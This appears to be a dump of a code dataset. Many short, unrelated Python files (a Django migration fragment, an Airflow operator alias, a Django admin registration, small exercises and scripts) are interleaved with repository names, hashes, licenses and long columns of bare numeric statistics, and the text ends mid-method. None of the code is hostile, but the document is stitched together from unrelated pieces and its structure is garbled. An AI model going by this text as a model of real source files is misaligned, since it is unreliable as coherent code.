'created_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'initialization': ('django.db.models.fields.CharField', [], {'max_length': '300'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'start_database': ('django.db.models.fields.CharField', [], {'max_length': '300'}),
'start_replication': ('django.db.models.fields.CharField', [], {'max_length': '300', 'null': 'True', 'blank': 'True'}),
'updated_at': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'})
}
}
complete_apps = ['dbaas_nfsaas']
| 86.595628
| 227
| 0.580678
| 1,718
| 15,847
| 5.204889
| 0.09546
| 0.10378
| 0.180049
| 0.257213
| 0.826325
| 0.77902
| 0.745135
| 0.676135
| 0.61843
| 0.573921
| 0
| 0.008582
| 0.176437
| 15,847
| 183
| 228
| 86.595628
| 0.676577
| 0.008014
| 0
| 0.261905
| 0
| 0
| 0.592237
| 0.319504
| 0
| 0
| 0
| 0
| 0
| 1
| 0.011905
| false
| 0.005952
| 0.02381
| 0
| 0.053571
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
7198342511b02fd558d0368c47155732d0e23856
| 46
|
py
|
Python
|
{{cookiecutter.project_slug}}/tests/__init__.py
|
llango/cookiecutter-shapackage
|
f7f8e2fb05c50c8bafe842f936466eb2bd255783
|
[
"BSD-3-Clause"
] | null | null | null |
{{cookiecutter.project_slug}}/tests/__init__.py
|
llango/cookiecutter-shapackage
|
f7f8e2fb05c50c8bafe842f936466eb2bd255783
|
[
"BSD-3-Clause"
] | null | null | null |
{{cookiecutter.project_slug}}/tests/__init__.py
|
llango/cookiecutter-shapackage
|
f7f8e2fb05c50c8bafe842f936466eb2bd255783
|
[
"BSD-3-Clause"
] | null | null | null |
"""关于 {{ cookiecutter.project_slug }} 测试包。"""
| 23
| 45
| 0.630435
| 5
| 46
| 5.6
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.108696
| 46
| 1
| 46
| 46
| 0.682927
| 0.847826
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
71d083e547ec484ebb65aad1e0ba89a9ff0c5e4b
| 74
|
py
|
Python
|
run.py
|
kragniz/pybot
|
ea5592461b7029c93067efafd80b16d265c66ea0
|
[
"MIT"
] | 1
|
2021-09-09T16:54:04.000Z
|
2021-09-09T16:54:04.000Z
|
run.py
|
kragniz/pybot
|
ea5592461b7029c93067efafd80b16d265c66ea0
|
[
"MIT"
] | null | null | null |
run.py
|
kragniz/pybot
|
ea5592461b7029c93067efafd80b16d265c66ea0
|
[
"MIT"
] | null | null | null |
#! /usr/bin/env python
import sys
import pybot
pybot.run(sys.argv[1:])
| 9.25
| 23
| 0.689189
| 13
| 74
| 3.923077
| 0.769231
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.015873
| 0.148649
| 74
| 7
| 24
| 10.571429
| 0.793651
| 0.283784
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.666667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
71d31296705ac95edf4dac4b05083b370f1d0588
| 139
|
py
|
Python
|
order/admin.py
|
abdukhashimov/django-rest-gsoft
|
f205e7c1bbb575920bdd43d3ec46a97f6fade90e
|
[
"MIT"
] | null | null | null |
order/admin.py
|
abdukhashimov/django-rest-gsoft
|
f205e7c1bbb575920bdd43d3ec46a97f6fade90e
|
[
"MIT"
] | 5
|
2021-03-18T23:24:36.000Z
|
2021-09-22T18:31:01.000Z
|
order/admin.py
|
abdukhashimov/django-rest-gsoft
|
f205e7c1bbb575920bdd43d3ec46a97f6fade90e
|
[
"MIT"
] | null | null | null |
from django.contrib import admin
from order.models import BaseContact, Order
admin.site.register(BaseContact)
admin.site.register(Order)
| 19.857143
| 43
| 0.827338
| 19
| 139
| 6.052632
| 0.526316
| 0.156522
| 0.295652
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.093525
| 139
| 6
| 44
| 23.166667
| 0.912698
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
71d82a62166e3cfc520ddb1425199b7f5a348ab1
| 206
|
py
|
Python
|
Part 1/Chapter 4/exercise_4.13.py
|
kg55555/pypractice
|
1867f001b3d2a7174ea00d7b9e2fa22e9f1877ef
|
[
"MIT"
] | null | null | null |
Part 1/Chapter 4/exercise_4.13.py
|
kg55555/pypractice
|
1867f001b3d2a7174ea00d7b9e2fa22e9f1877ef
|
[
"MIT"
] | null | null | null |
Part 1/Chapter 4/exercise_4.13.py
|
kg55555/pypractice
|
1867f001b3d2a7174ea00d7b9e2fa22e9f1877ef
|
[
"MIT"
] | null | null | null |
buffet = ('beef', 'chicken', 'fish', 'pork', 'lamb')
for item in buffet:
print(item, end=" ")
print()
buffet = ('wagyu', 'chicken', 'fish', 'squid', 'lamb')
for item in buffet:
print(item, end=" ")
| 25.75
| 54
| 0.57767
| 27
| 206
| 4.407407
| 0.481481
| 0.184874
| 0.184874
| 0.218487
| 0.521008
| 0.521008
| 0.521008
| 0.521008
| 0
| 0
| 0
| 0
| 0.179612
| 206
| 7
| 55
| 29.428571
| 0.704142
| 0
| 0
| 0.571429
| 0
| 0
| 0.242718
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.428571
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 5
|
e0f5c6670fec67746c5b6cf9f3b8367cd21bd2f6
| 214
|
py
|
Python
|
tests/__init__.py
|
qigj/Hypernets
|
534150e682f09df11ac3363e6aa7cd5e4a294c1d
|
[
"Apache-2.0"
] | 1
|
2020-11-06T07:52:14.000Z
|
2020-11-06T07:52:14.000Z
|
tests/__init__.py
|
frankbaul/Hypernets
|
534150e682f09df11ac3363e6aa7cd5e4a294c1d
|
[
"Apache-2.0"
] | null | null | null |
tests/__init__.py
|
frankbaul/Hypernets
|
534150e682f09df11ac3363e6aa7cd5e4a294c1d
|
[
"Apache-2.0"
] | null | null | null |
# -*- coding:utf-8 -*-
__author__ = 'yangjian'
"""
"""
import tempfile
import os
test_output_dir = tempfile.mkdtemp()
os.environ['DEEPTABLES_HOME'] = test_output_dir
os.environ['HYPERNETS_HOME'] = test_output_dir
| 19.454545
| 47
| 0.733645
| 28
| 214
| 5.178571
| 0.571429
| 0.206897
| 0.268966
| 0.234483
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.005236
| 0.107477
| 214
| 11
| 48
| 19.454545
| 0.753927
| 0.093458
| 0
| 0
| 0
| 0
| 0.2
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
46066ea6d3a2141e9e5ecd3d99d8a32bc2989c2e
| 244
|
py
|
Python
|
src/airfly/_vendor/airflow/contrib/operators/gcs_download_operator.py
|
ryanchao2012/airfly
|
230ddd88885defc67485fa0c51f66c4a67ae98a9
|
[
"MIT"
] | 7
|
2021-09-27T11:38:48.000Z
|
2022-02-01T06:06:24.000Z
|
src/airfly/_vendor/airflow/contrib/operators/gcs_download_operator.py
|
ryanchao2012/airfly
|
230ddd88885defc67485fa0c51f66c4a67ae98a9
|
[
"MIT"
] | null | null | null |
src/airfly/_vendor/airflow/contrib/operators/gcs_download_operator.py
|
ryanchao2012/airfly
|
230ddd88885defc67485fa0c51f66c4a67ae98a9
|
[
"MIT"
] | null | null | null |
# Auto generated by 'inv collect-airflow'
from airfly._vendor.airflow.providers.google.cloud.transfers.gcs_to_local import (
GCSToLocalFilesystemOperator,
)
class GoogleCloudStorageDownloadOperator(GCSToLocalFilesystemOperator):
pass
| 27.111111
| 82
| 0.827869
| 23
| 244
| 8.652174
| 0.913043
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.102459
| 244
| 8
| 83
| 30.5
| 0.908676
| 0.159836
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.2
| 0.2
| 0
| 0.4
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
|
0
| 5
|
1c9f8a460084e330554f93a54d2f5bcad306a0a6
| 431
|
py
|
Python
|
fbx_____.py
|
whaison/Python27
|
34f9e581a38540d1649cf51f7fa8eda38615daf1
|
[
"bzip2-1.0.6"
] | null | null | null |
fbx_____.py
|
whaison/Python27
|
34f9e581a38540d1649cf51f7fa8eda38615daf1
|
[
"bzip2-1.0.6"
] | null | null | null |
fbx_____.py
|
whaison/Python27
|
34f9e581a38540d1649cf51f7fa8eda38615daf1
|
[
"bzip2-1.0.6"
] | null | null | null |
#from DebugLogger00110 import DebugLogger00100
#import fbxsdk as fbx
#from fbxsdk import *
#import fbx as fbxsdk
#from fbx import *
# -*- coding: utf-8 -*-
#from fbx import *
#import DebugLogger00100
#import DebugLogger00100
#import WriteReadTrans_Z_00310
#import GetKeyCurve00110
#===================class Node=========================
#import FbxCommon
#===================class Node=========================
print("fbx_____.py")
| 28.733333
| 55
| 0.62645
| 43
| 431
| 6.116279
| 0.44186
| 0.250951
| 0.319392
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.079897
| 0.099768
| 431
| 15
| 56
| 28.733333
| 0.597938
| 0.888631
| 0
| 0
| 0
| 0
| 0.314286
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 5
|
1cda61e441b5b3ee41dde18ea96930be3d84da4f
| 166
|
py
|
Python
|
Aula/Aula011 Cores Terminal.py
|
HenriqueSOliver/Python_CursoEmVideo
|
6a8ab0c0fa3443990fc0bbbd817314065cf4e01b
|
[
"MIT"
] | 1
|
2021-04-08T19:54:01.000Z
|
2021-04-08T19:54:01.000Z
|
Python (3)/Aula/Aula011 Cores Terminal.py
|
Gafanhoto742/Python-3
|
b0a13ec4cf60185af3ed2508fc69188e36415b80
|
[
"MIT"
] | null | null | null |
Python (3)/Aula/Aula011 Cores Terminal.py
|
Gafanhoto742/Python-3
|
b0a13ec4cf60185af3ed2508fc69188e36415b80
|
[
"MIT"
] | null | null | null |
print ('\033[1;31;47mOlá mundo!\033[m')
print('\033[7;30mOlá Mundo!\033[m')
a = 3
b = 5
print('Os valores são \033[33m{}\033[m e \033[32m{}\033[m !!!'.format(a,b))
| 20.75
| 75
| 0.60241
| 35
| 166
| 2.857143
| 0.571429
| 0.16
| 0.18
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.260274
| 0.120482
| 166
| 7
| 76
| 23.714286
| 0.424658
| 0
| 0
| 0
| 0
| 0.2
| 0.660606
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.6
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 5
|
e8009ae6e9cfee2aa830b95eaa206bd715a0cc12
| 36
|
py
|
Python
|
spacetimeformer/s4_model/__init__.py
|
jakegrigsby/spacetimeformer
|
8d7b54ec7102c5c540927b717837f046cc3e5013
|
[
"MIT"
] | 209
|
2021-09-28T13:59:56.000Z
|
2022-03-31T23:29:43.000Z
|
spacetimeformer/s4_model/__init__.py
|
jakegrigsby/spacetimeformer
|
8d7b54ec7102c5c540927b717837f046cc3e5013
|
[
"MIT"
] | 30
|
2021-09-30T07:53:38.000Z
|
2022-03-22T01:13:42.000Z
|
spacetimeformer/s4_model/__init__.py
|
jakegrigsby/spacetimeformer
|
8d7b54ec7102c5c540927b717837f046cc3e5013
|
[
"MIT"
] | 49
|
2021-10-29T22:47:20.000Z
|
2022-03-30T15:24:56.000Z
|
from .s4_model import S4_Forecaster
| 18
| 35
| 0.861111
| 6
| 36
| 4.833333
| 0.833333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.0625
| 0.111111
| 36
| 1
| 36
| 36
| 0.84375
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
e81c303e79af2d500e3d5f5e4ec13f2ba3d1639d
| 41
|
py
|
Python
|
models/__init__.py
|
kibok90/imix
|
7d35b429dfe67b24872823d59fb04a2ce23be635
|
[
"MIT"
] | 48
|
2021-03-19T03:04:05.000Z
|
2022-03-24T05:46:39.000Z
|
models/__init__.py
|
kibok90/imix
|
7d35b429dfe67b24872823d59fb04a2ce23be635
|
[
"MIT"
] | 3
|
2021-07-27T12:55:40.000Z
|
2021-12-11T02:23:31.000Z
|
models/__init__.py
|
kibok90/imix
|
7d35b429dfe67b24872823d59fb04a2ce23be635
|
[
"MIT"
] | 6
|
2021-07-14T19:42:50.000Z
|
2022-02-27T12:43:28.000Z
|
from .resnet import *
from .mlp import *
| 13.666667
| 21
| 0.707317
| 6
| 41
| 4.833333
| 0.666667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.195122
| 41
| 2
| 22
| 20.5
| 0.878788
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
e828a27f22f913d4e3226aa26831a98feb1bbf33
| 132
|
py
|
Python
|
lib/requests_oauthlib/compliance_fixes/__init__.py
|
huangkuan/hack
|
433e213915749d9c510abf3c7462d5256b5e37eb
|
[
"Apache-2.0"
] | 2
|
2015-11-05T09:43:45.000Z
|
2017-05-31T14:22:02.000Z
|
flask/lib/site-packages/requests_oauthlib/compliance_fixes/__init__.py
|
CodingForChange/praquemdoar
|
575d67d211473f352adcd9d7c405c7a5cf18fc6e
|
[
"Apache-2.0"
] | 7
|
2021-02-08T20:22:15.000Z
|
2022-03-11T23:19:41.000Z
|
flask/lib/site-packages/requests_oauthlib/compliance_fixes/__init__.py
|
CodingForChange/praquemdoar
|
575d67d211473f352adcd9d7c405c7a5cf18fc6e
|
[
"Apache-2.0"
] | null | null | null |
from __future__ import absolute_import
from .facebook import facebook_compliance_fix
from .linkedin import linkedin_compliance_fix
| 26.4
| 45
| 0.886364
| 17
| 132
| 6.352941
| 0.470588
| 0.240741
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.098485
| 132
| 4
| 46
| 33
| 0.907563
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
1c4123d7dca17ab93ea3afbdefc8b1fe3e2114f5
| 20
|
py
|
Python
|
vim/fred.py
|
timm/16
|
56e6c978274fb6a865cc804bee6f4b6ebb4e108f
|
[
"Unlicense"
] | null | null | null |
vim/fred.py
|
timm/16
|
56e6c978274fb6a865cc804bee6f4b6ebb4e108f
|
[
"Unlicense"
] | 1
|
2016-04-28T01:50:44.000Z
|
2016-04-28T01:50:44.000Z
|
vim/fred.py
|
timm/16
|
56e6c978274fb6a865cc804bee6f4b6ebb4e108f
|
[
"Unlicense"
] | null | null | null |
def sasd():
fdfd
| 6.666667
| 12
| 0.55
| 3
| 20
| 3.666667
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.3
| 20
| 2
| 13
| 10
| 0.785714
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| true
| 0
| 0
| 0
| 0.5
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
1c8a47ce1168a12701596eee32f87a0a22379935
| 592
|
py
|
Python
|
nudgebot/settings.py
|
gshefer/Nudgebot
|
4cf6cf1fe975a9002299f0460873c0f21bc8d414
|
[
"MIT"
] | 3
|
2018-04-03T14:34:39.000Z
|
2018-04-26T12:18:49.000Z
|
nudgebot/settings.py
|
gshefer/Nudgebot
|
4cf6cf1fe975a9002299f0460873c0f21bc8d414
|
[
"MIT"
] | null | null | null |
nudgebot/settings.py
|
gshefer/Nudgebot
|
4cf6cf1fe975a9002299f0460873c0f21bc8d414
|
[
"MIT"
] | null | null | null |
"""Settings."""
from nudgebot.base import Singleton
class CurrentProject(metaclass=Singleton):
"""A proxy object for the current project."""
def __init__(self):
self._project_package = None
def __bool__(self):
return bool(self._project_package)
def setup(self, current_project_package):
"""Setups the current project.
@param current_project_package: `MuduleType` The project package.
"""
self._project_package = current_project_package
def __getattr__(self, name):
return getattr(self._project_package, name)
| 25.73913
| 73
| 0.6875
| 66
| 592
| 5.772727
| 0.439394
| 0.293963
| 0.188976
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.217905
| 592
| 22
| 74
| 26.909091
| 0.822894
| 0.243243
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.4
| false
| 0
| 0.1
| 0.2
| 0.8
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 5
|
98c5bf471ce8a9d2d862d2c98d0e3f1037124a8e
| 14
|
py
|
Python
|
testSources/incorrect/f1.py
|
Gavaharlal/fpTask1
|
1f070ad9ad0c56f56488cc27ac263854c7c010d8
|
[
"BSD-3-Clause"
] | null | null | null |
testSources/incorrect/f1.py
|
Gavaharlal/fpTask1
|
1f070ad9ad0c56f56488cc27ac263854c7c010d8
|
[
"BSD-3-Clause"
] | null | null | null |
testSources/incorrect/f1.py
|
Gavaharlal/fpTask1
|
1f070ad9ad0c56f56488cc27ac263854c7c010d8
|
[
"BSD-3-Clause"
] | null | null | null |
print(print())
| 14
| 14
| 0.714286
| 2
| 14
| 5
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 14
| 1
| 14
| 14
| 0.714286
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 5
|
98d811f543402e5f4582103be7e63a7989b1447f
| 211
|
py
|
Python
|
tests/4lines.py
|
ZYAZP/python2
|
7dc3b62eff51e1decb4a408122e77630fdc1687d
|
[
"MIT"
] | 1,062
|
2015-11-18T01:04:33.000Z
|
2022-03-29T07:13:30.000Z
|
tests/4lines.py
|
ArrowSides/onelinerizer
|
7dc3b62eff51e1decb4a408122e77630fdc1687d
|
[
"MIT"
] | 26
|
2015-11-17T06:58:07.000Z
|
2022-01-15T18:11:16.000Z
|
tests/4lines.py
|
ArrowSides/onelinerizer
|
7dc3b62eff51e1decb4a408122e77630fdc1687d
|
[
"MIT"
] | 100
|
2015-11-17T09:01:22.000Z
|
2021-09-12T13:58:28.000Z
|
## inspired by https://wiki.python.org/moin/SimplePrograms
parents, babies = (1, 1)
while babies < 100:
print 'This generation has {0} babies'.format(babies)
parents, babies = (babies, parents + babies)
| 35.166667
| 58
| 0.701422
| 28
| 211
| 5.285714
| 0.678571
| 0.263514
| 0.256757
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.033898
| 0.161137
| 211
| 5
| 59
| 42.2
| 0.80226
| 0.260664
| 0
| 0
| 0
| 0
| 0.196078
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0.25
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
98dc38f58060b84552141c60ac6de836e2640bcf
| 227
|
py
|
Python
|
src/elemeno_ai_sdk/datasources/base_authenticator.py
|
elemeno-ai/elemeno-ai-sdk
|
2737b2c9c575119bd40efcd8c5e91a98f9d8b6b1
|
[
"Apache-2.0"
] | 1
|
2021-11-16T13:38:39.000Z
|
2021-11-16T13:38:39.000Z
|
src/elemeno_ai_sdk/datasources/base_authenticator.py
|
elemeno-ai/elemeno-ai-sdk
|
2737b2c9c575119bd40efcd8c5e91a98f9d8b6b1
|
[
"Apache-2.0"
] | null | null | null |
src/elemeno_ai_sdk/datasources/base_authenticator.py
|
elemeno-ai/elemeno-ai-sdk
|
2737b2c9c575119bd40efcd8c5e91a98f9d8b6b1
|
[
"Apache-2.0"
] | null | null | null |
import abc
class BaseAuthenticator(metaclass=abc.ABCMeta):
@classmethod
def __subclasshook__(cls, subclass):
return (hasattr(subclass, 'authenticate') and
callable(subclass.authenticate))
| 22.7
| 53
| 0.682819
| 20
| 227
| 7.55
| 0.8
| 0.264901
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.229075
| 227
| 9
| 54
| 25.222222
| 0.862857
| 0
| 0
| 0
| 0
| 0
| 0.053097
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.166667
| false
| 0
| 0.166667
| 0.166667
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 5
|
98ef2aca48adab8c81758f582e45dba61145495e
| 87
|
py
|
Python
|
d004-loop.py
|
zsc/kid-programming
|
3e8c8bfe379d5999e548a899a3fc6cd03ba6be7c
|
[
"MIT"
] | 13
|
2017-07-02T12:44:24.000Z
|
2021-03-23T07:34:30.000Z
|
d004-loop.py
|
zsc/kid-programming
|
3e8c8bfe379d5999e548a899a3fc6cd03ba6be7c
|
[
"MIT"
] | 1
|
2020-04-26T07:18:12.000Z
|
2021-08-15T15:42:01.000Z
|
d004-loop.py
|
zsc/kid-programming
|
3e8c8bfe379d5999e548a899a3fc6cd03ba6be7c
|
[
"MIT"
] | 6
|
2017-07-14T02:02:13.000Z
|
2021-06-16T07:22:47.000Z
|
for i in range(10):
print(i)
for i in range(ord('a'), ord('z')+1):
print(chr(i))
| 14.5
| 37
| 0.551724
| 19
| 87
| 2.526316
| 0.578947
| 0.166667
| 0.25
| 0.458333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.042857
| 0.195402
| 87
| 5
| 38
| 17.4
| 0.642857
| 0
| 0
| 0
| 0
| 0
| 0.022989
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.5
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 5
|
98f4de011b37a35ce3e6ae3e2121b8dc49d886e6
| 107
|
py
|
Python
|
start.py
|
darokin/darshell-clock
|
3449fbd3a093398e2c293f47cf142f9c3dbb414b
|
[
"MIT"
] | 16
|
2021-01-30T17:15:09.000Z
|
2022-03-26T18:48:19.000Z
|
start.py
|
darokin/darshell-clock
|
3449fbd3a093398e2c293f47cf142f9c3dbb414b
|
[
"MIT"
] | null | null | null |
start.py
|
darokin/darshell-clock
|
3449fbd3a093398e2c293f47cf142f9c3dbb414b
|
[
"MIT"
] | null | null | null |
# debug main to launch from the right folder (VScode)
from darshellclock import __main__
__main__.main()
| 17.833333
| 53
| 0.785047
| 15
| 107
| 5.066667
| 0.733333
| 0.210526
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.158879
| 107
| 5
| 54
| 21.4
| 0.844444
| 0.476636
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
c75ace3654dd8a6f0b613656d709b8a1d23c3874
| 426
|
py
|
Python
|
tests/stack_frame_analyzer/utils/baz.py
|
cesarmerjan/stack_frame_analyzer
|
4e9f1899016423ca7c3b919221ff9b4778f0e82c
|
[
"MIT"
] | null | null | null |
tests/stack_frame_analyzer/utils/baz.py
|
cesarmerjan/stack_frame_analyzer
|
4e9f1899016423ca7c3b919221ff9b4778f0e82c
|
[
"MIT"
] | null | null | null |
tests/stack_frame_analyzer/utils/baz.py
|
cesarmerjan/stack_frame_analyzer
|
4e9f1899016423ca7c3b919221ff9b4778f0e82c
|
[
"MIT"
] | null | null | null |
from .main import stack_frame_analyzer
class Baz:
@classmethod
def get_baz_cls(cls, baz):
